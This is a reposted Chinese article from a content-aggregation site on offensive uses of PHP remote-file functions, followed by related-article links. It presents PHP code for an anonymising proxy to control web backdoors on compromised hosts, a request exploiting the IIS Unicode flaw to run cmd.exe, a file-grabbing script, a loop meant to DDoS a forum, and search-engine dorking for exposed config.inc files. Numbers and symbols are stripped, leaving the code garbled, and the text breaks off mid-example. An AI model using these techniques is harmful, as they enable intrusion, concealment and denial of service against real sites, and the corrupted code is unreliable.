知识大全 PHP在安全方面的另类应用

Posted 文件

篇首语:知识像烛光,能照亮一个人,也能照亮无数的人。本文由小常识网(cha138.com)小编为大家整理,主要介绍了知识大全 PHP在安全方面的另类应用相关的知识,希望对你有一定的参考价值。

PHP在安全方面的另类应用  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!

   .远程文件    PHP是一门具有丰富特性的语言 它提供了大量函数 使程序员能够方便地实现各种功能 远程文件就是一个很好的例子   代码  <?php  $fp=@Fopen($url r ) or die ( cannot open $url );  while($line=@fgets($fp ))   $contents =$line;    echo $contents; //显示文件内容  fclose($fp); //关闭文件  ?>    以上是一段利用Fopen函数打开文件的代码 由于Fopen函数支持远程文件 使得它应用起来相当有趣 将以上代码保存为Proxy php 然后后提交     代码  /proxy php?url=      这时候你会发现论坛下方显示的IP地址变成了PHP脚本所处服务器的IP地址 Fopen函数可以从任何其Web或FTP站点读取文件 事实上PHP的大多数文件处理函数对远程文件都是透明的 比如请求     代码  /proxy php?url=%c % c /winnt/system /cmd exe?/c+dir    这样实际上是利用了Target主机上的Unicode漏洞 执行了DIR命令 但并不是所有的服务器都支持远程文件的功能 如果你使用的是商业的服务器 很可能会发现远程文件使用不了(如 的虚拟主机) 这是因为在商业主机上限制远程文件的功能 往往能够更好的保护服务器的正常运行 你可以通过PHPinfo()查看服务器是否支持这种功能 当然 在PHPinfo()被禁用的情况下 也可以使用Get_cfg_var()     代码  <?php  echo 是否允许使用远程文件(allow_url_Fopen) ;  ?php  if (get_cfg_var( allow_url_Fopen )== )    echo( <font color=green><b>是</b></font> );    else echo( <font color=red><b>否</b></font> );  ?>    当Allow_url_Fopen一项参数为ON时 即支持远程文件的功能 充分发挥远程文件的特性 我们可以实现许多特殊的功能 如果你是用过PHP Flame的最新版本 你会发现它在集文件夹复制 文本搜索等功能的基础上 又增加了Web间文件传输的功能 依靠这种功能 你可以随意将其他服务器上的文件传送到你的Web目录下 而且 在两台服务器间传送文件有着飞快的传输速度 我们看看实现这个功能的代码     代码  <?php  $fp = Fopen($_GET[ filename ] rb ); //打开文件  $data = $tmp = ;  while ( true )   $tmp = fgets($fp );  if ( === strlen($tmp) )   break; //跳出while循环    $data = $tmp;    fclose($fp); //关闭文件  $file=preg_replace( /^ +\\// $filename);//转换文件名  //write  $fp = Fopen( $file wb ); //生成文件  fwrite($fp $data); //写入数据  fclose($fp);  ?>    在调用Fopen和Fwrite函数时加入 b 标记 可以使这两个函数安全运用于二进制文件而不损坏数据 在以上脚本提交   /down php?filename=  这时便会在Down php的所处目录下生成相应的Winrar zip文件 如果再配合遍历目录的功能 你将可以实现多个文件夹服务器间的传输 但是 远程文件应该还有更大的发挥空间 比如写SQL Injection攻击的自动脚本 甚至是HTTP的代理服务     代码  <?  $url = getenv( QUERY_STRING );  if(!ereg( ^ $url)) //检查输入的URL格式    echo 例子 <br>;br> ;  echo ?id= <br> ;  echo 当URL为目录时需要在目录后加入 / ;  exit;    if($url)  $url=str_replace( \\\\ / $url);  $f=@Fopen($url r ); //打开文件  $a= ;  if($f)    while(!feof($f))  $a =@fread($f ); //读取文件  fclose($f);    $rooturl = preg_replace( /( +\\/)( *)/i \\\\ $url); //转换根目录  $a = preg_replace( /(src[[:space:]]*=[ \\ ])([^h] *?)/is \\\\ $rooturl\\\\ $a);  $a = preg_replace( /(src[[:space:]]*=)([^h \\ ] *?)/is \\\\ $rooturl\\\\ $a); //转换图片地址  $a = preg_replace( /(action[[:space:]]*=[ \\ ])([^h] *?)/is \\\\ $php_self?$rooturl\\\\ $a);  $a = preg_replace( /(action[[:space:]]*=)([^h \\ ] *?)/is \\\\ $php_self?$rooturl\\\\ $a); //转换POST地址  $a = preg_replace( /(<a +?href[[:space:]]*=[ \\ ])([^h] *?)/is \\\\ $php_self?$rooturl\\\\ $a);  $a = preg_replace( /(<a +?href[[:space:]]*=[^ \\ ])([^h] *?)/is \\\\ $php_self?$rooturl\\\\ $a);//转换链接地址  $a = preg_replace( /(link +?href[[:space:]]*=[^ \\ ])( *?)/is \\\\ $rooturl\\\\ $a);  $a = preg_replace( /(link +?href[[:space:]]*=[ \\ ])( *?)/is \\\\ $rooturl\\\\ $a); //转换样式表地址  echo $a;  exit;  ?>    在正则表达式的帮助下 以上代码能够自行地将返回页面中包含的链接和图片进行转换 并把页面内的链接自动提交到当前PHP脚本的$url中 例如提交   /proxy php?  脚本将会返回的内容     当然 这运用的绝对不仅仅是框架的技巧 运用这个脚本你可以远程操作安置在其他服务器的Web后门 或者将肉鸡做成一个简单的HTTP代理 从而更好的隐藏自己的IP 如果使用PHP编写CGI扫描工具 你需要延长PHP的有效运行时间 以下是两种有效的方法 当然你也可以将PHP代码编译成GUI界面 从而解决这个问题 设置PHP的有效运行时间为三分钟     代码  <? ini_set( max_execution_time * ); ?>  <? set_time_limit( * ); ?>    我们再看看这种功能在DDOS攻击中的应用     代码  <?php  set_time_limit( * );  $url= ?userid= ;  for($i= ;$i<= ;$i++)    $urls=$url $i; //将$url与$i链接在一起  $f=@Fopen($urls r ); //请求$urls  $a=@fread($f ); //取出部分内容  fclose($f); //关闭$urls    ?>    以上用For循环不断地请求Userlist php?userid=$i的内容($i的值每次都是不同的) 但是打开后仅仅取出几个字节便关闭这个脚本了 PHP运行在虚拟主机上 秒钟便可以打开几十个URL 当同时运行多个进程时 便有可能实现DDOS攻击 让对方的论坛迅速崩溃     限于版面 远程文件的内容就先说到这里了 如果你还有不明白的地方 请参考以下的这篇文章 《在PHP中使用远程文件》     .错误回显    PHP在默认的情况下打开错误回显 这样可以便于程序员在调试脚本时发现代码的错误 但是这也往往使Web暴露了PHP的代码和服务器的一些数据 PHP对代码的规范性要求比较严格 以下是一种比较常见的错误回显   warning:file( data/ \\) no such file or  directory in /usr/home//show php on line   这种错误回显 至少告诉了我们三个信息 服务器的操作系统是LINUX 服务器使用文本数据库 Show php的第 行代码为 file ( /data/ / $ )   这种错误回显 已经足以成为一台服务器致命的漏洞 从另一个利用的角度来看 我们发现一般的PHP错误回都包含了 warning 字符 但是这有什么用呢?我们得先认识一下PHP的库文件   PHP的Include()和Require()主要是为了支持代码库 因为我们一般是把一些经常使用的函数放到一个独立的文件中 这个独立的文件就是代码库 当需要使用其中的函数时 我们只要把这个代码库包含到当前的文件中就可以了   最初 人们开发和发布PHP程序的时候 为了区别代码库和主程序代码 一般是为代码库文件设置一个 inc 的扩展名 但是他们很快发现这是一个错误 因为这样的文件无法被PHP解释器正确解析为PHP代码 如果我们直接请求服务器上的这种文件时 我们就会得到该文件的源代码 这是因为当把PHP作为Apache的模块使用时 PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的 扩展名是站点管理员指定的 一般是 php php 和 php 如果重要的配置数据被包含在没有合适的扩展名的PHP文件中 那么远程攻击者将容易得到这些信息   按照以往的程序员的习惯 往往会把一些重要的文件设定 config inc coon inc 等形式 如果我们在搜索引撃中搜索 warning+config inc 那么你会发现许多网站都暴露了 inc 文件的代码 甚至包括许多商业和政府网站     要关闭PHP的错误回显通常有两个方法 第一个是直接修改Php ini中的设置 这我们以前已经介绍过了 第二种方法是在PHP脚本中加入抑制错误回显的代码 你可以在调用的函数前函数加入 @ 字符 或者在PHP的代码顶端加入 error_reporting( ) 的代码 要了解更多的内容请参考PHP手册中的 error_reporting 一节      .变量回显    WEN的安全问题主要集中变量的处理上 对变量的处理不当 会导致多种安全问题 先看一下的例子     代码  <td width= >  <select name= face >  <option value= gif > gif</option>  <option value= gif > gif cha138/Article/program/PHP/201311/20798

相关参考

知识大全 php内置函数intval()

一描述  intval函数有个特性:直到遇上数字或正负符号才开始做转换再遇到非数字或字符串结束时(/)结束转换在某些应用程序里由于对intval函数这个特性认识不够错误的使用导致绕过一些安全判断导致安

知识大全 11种php编程典型安全隐患及处理

  PHP本身再老版本有一些问题比如在php和php以前有一些比较严重的bug所以推荐使用新版另外目前闹的轰轰烈烈的SQLInjection也是在PHP上有很多利用方式所以要保证安全PHP代码编写是一

知识大全 推荐php开发利器 快速创建web应用

  近日美国“开源软件”项目Openbiz新发布了一款名为OpenbizCubiDev的PHP的应用开发利器宣称可以让开发人员在分钟内通过配置和向导完成创建一个功能完善的企业级应用程序这是空穴来风还是

知识大全 PHP 安全检测代码片段(分享)

PHP安全检测代码片段(分享)  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!本篇文章是对PHP安全

知识大全 测量PHP 应用程序

高性能MySQL:测量PHP应用程序  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  测量PHP应

知识大全 php小经验:解析preg

  正则表达式在PHP中的应用在PHP应用中正则表达式主要用于•正则匹配根据正则表达式匹配相应的内容•正则替换根据正则表达式匹配内容并替换•正则分割根据正则表达式分割字符串在PHP中有两类正则表达式函

知识大全 如何书写安全的PHP代码[1]

如何书写安全的PHP代码[1]  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  PHP是一个很容易

知识大全 PHP注释实例应用

PHPWeb开发学习实录:PHP注释实例应用  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  &n

知识大全 界定PHP代码实例应用

PHPWeb开发学习实录:界定PHP代码实例应用  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  

知识大全 PHP:strtok()函数的应用

PHP:strtok()函数的应用  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  相对于expl